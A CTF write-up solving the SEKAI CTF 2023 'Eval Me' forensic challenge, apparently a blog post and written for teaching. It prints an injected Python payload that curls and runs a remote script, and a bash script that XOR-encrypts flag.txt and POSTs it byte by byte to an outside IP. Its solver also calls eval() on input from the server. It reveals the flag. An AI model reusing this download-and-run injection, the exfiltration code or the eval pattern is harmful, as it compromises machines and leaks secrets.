Post

Project SEKAI CTF 2023 - Eval Me

Description

Category: Forensic

I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?

Author: Guesslemonger

nc chals.sekai.team 9000

capture.pcapng

Resolution

1. Network capture analysis

When we quickly browse the capture with Wireshark, we notice there are some suspicious HTTP POST requests that seem to exfiltrate data:

POST Requests

We write a Python script to extract all the exfiltrated data:

1
2
3
4
5
6
7
8
9
10
11
12
13
import pyshark

cap = pyshark.FileCapture("/home/michel/Desktop/capture.pcapng")

data = ""

for c in cap:
    try:
        data += c.json.value_string
    except AttributeError:
        pass

print(data) # 20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f

We received a hex string, but we have no information about how to decrypt it.

2. Pwntools challenge

In the description of the challenge, it mentions a pwntools challenge:

1
2
3
4
5
6
7
8
$ nc chals.sekai.team 9000
Welcome to this intro pwntools challenge.
I will send you calculations and you will send me the answer
Do it 100 times within time limit and you get the flag :)

6 / 9

Too slow

The goal is to evaluate those expressions and send the answer before the time runs out. I decided to solve it since I had no clue about how to decrypt the hex string.

Here is my code to solve it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

conn = remote("chals.sekai.team", 9000)

# Skip beginning
for _ in range(4):
    print(conn.recvuntil(b"\n"))

# Solving
for _ in range(100):
    prompt = conn.recvuntil(b"\n")
    print(prompt)
    res = eval(prompt)
    conn.sendline(str(res).encode())
    print(conn.recvline())

print(conn.recvline())

However, when I ran the code, there was a weird expression that I needed to evaluate:

1
b'__import__("subprocess").check_output("(curl -sL https://shorturl.at/fgjvU -o extract.sh && chmod +x extract.sh && bash extract.sh && rm -f extract.sh)>/dev/null 2>&1||true",shell=True)\r#1 + 2\n'

The challenge performed a command injection that downloads and executes a script called extract.sh.

3. Decrypt the exfiltrated data

When we navigate to the link, it redirects us to https://storage.googleapis.com/sekaictf-2023/ab6a26cba39934bbe810f3718c4fa13f/kittens.png, which shows us a broken PNG image. The owner of the script seems to have disguised the script as a PNG image.

We download it and save it as extract.sh and here is the content of the script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash

FLAG=$(cat flag.txt)

KEY='s3k@1_v3ry_w0w'


# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }


XOREncrypt(){
    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do

        val1=$( Asc "${DataIn:$ptr:1}" )
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        DataOut+=$(printf '%02x' "$val3")

    done

    for ((i=0;i<${#DataOut};i+=2)); do
    BYTE=${DataOut:$i:2}
    curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
    done
}

XOREncrypt $KEY $FLAG

exit 0

The script reads flag.txt, encrypts it with the key s3k@1_v3ry_w0w and exfiltrates it to a server with POST requests.

We already have the exfiltrated data, and now we just need to find out how to decrypt it.

Luckily there is a credit link to the original script (https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46) which has the decrypt function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
XORDecrypt() {

    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    local ptrs
    ptrs=0

    for (( ptr=0; ptr < ${#DataIn}/2; ptr++ )); do

        val1="$( HexToDec "${DataIn:$ptrs:2}" )"
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        ptrs=$((ptrs+2))

        DataOut+=$( printf \\$(printf "%o" "$val3") )

    done
    printf '%s' "$DataOut"
}

We can now decrypt the exfiltrated data using the following script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash

Asc() { printf '%d' "'$1"; }
HexToDec() { printf '%d' "0x$1"; }

XORDecrypt() {

    local key="$1" DataIn="$2"
    local ptr DataOut val1 val2 val3

    local ptrs
    ptrs=0

    for (( ptr=0; ptr < ${#DataIn}/2; ptr++ )); do

        val1="$( HexToDec "${DataIn:$ptrs:2}" )"
        val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )

        val3=$(( val1 ^ val2 ))

        ptrs=$((ptrs+2))

        DataOut+=$( printf \\$(printf "%o" "$val3") )

    done
    printf '%s' "$DataOut"
}

XORDecrypt "s3k@1_v3ry_w0w" "20762001782445454615001000284b41193243004e41000b2d0542052c0b1932432d0441000b2d05422852124a1f096b4e000f"

which gives us the flag: SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}.

This post is licensed under CC BY 4.0 by the author.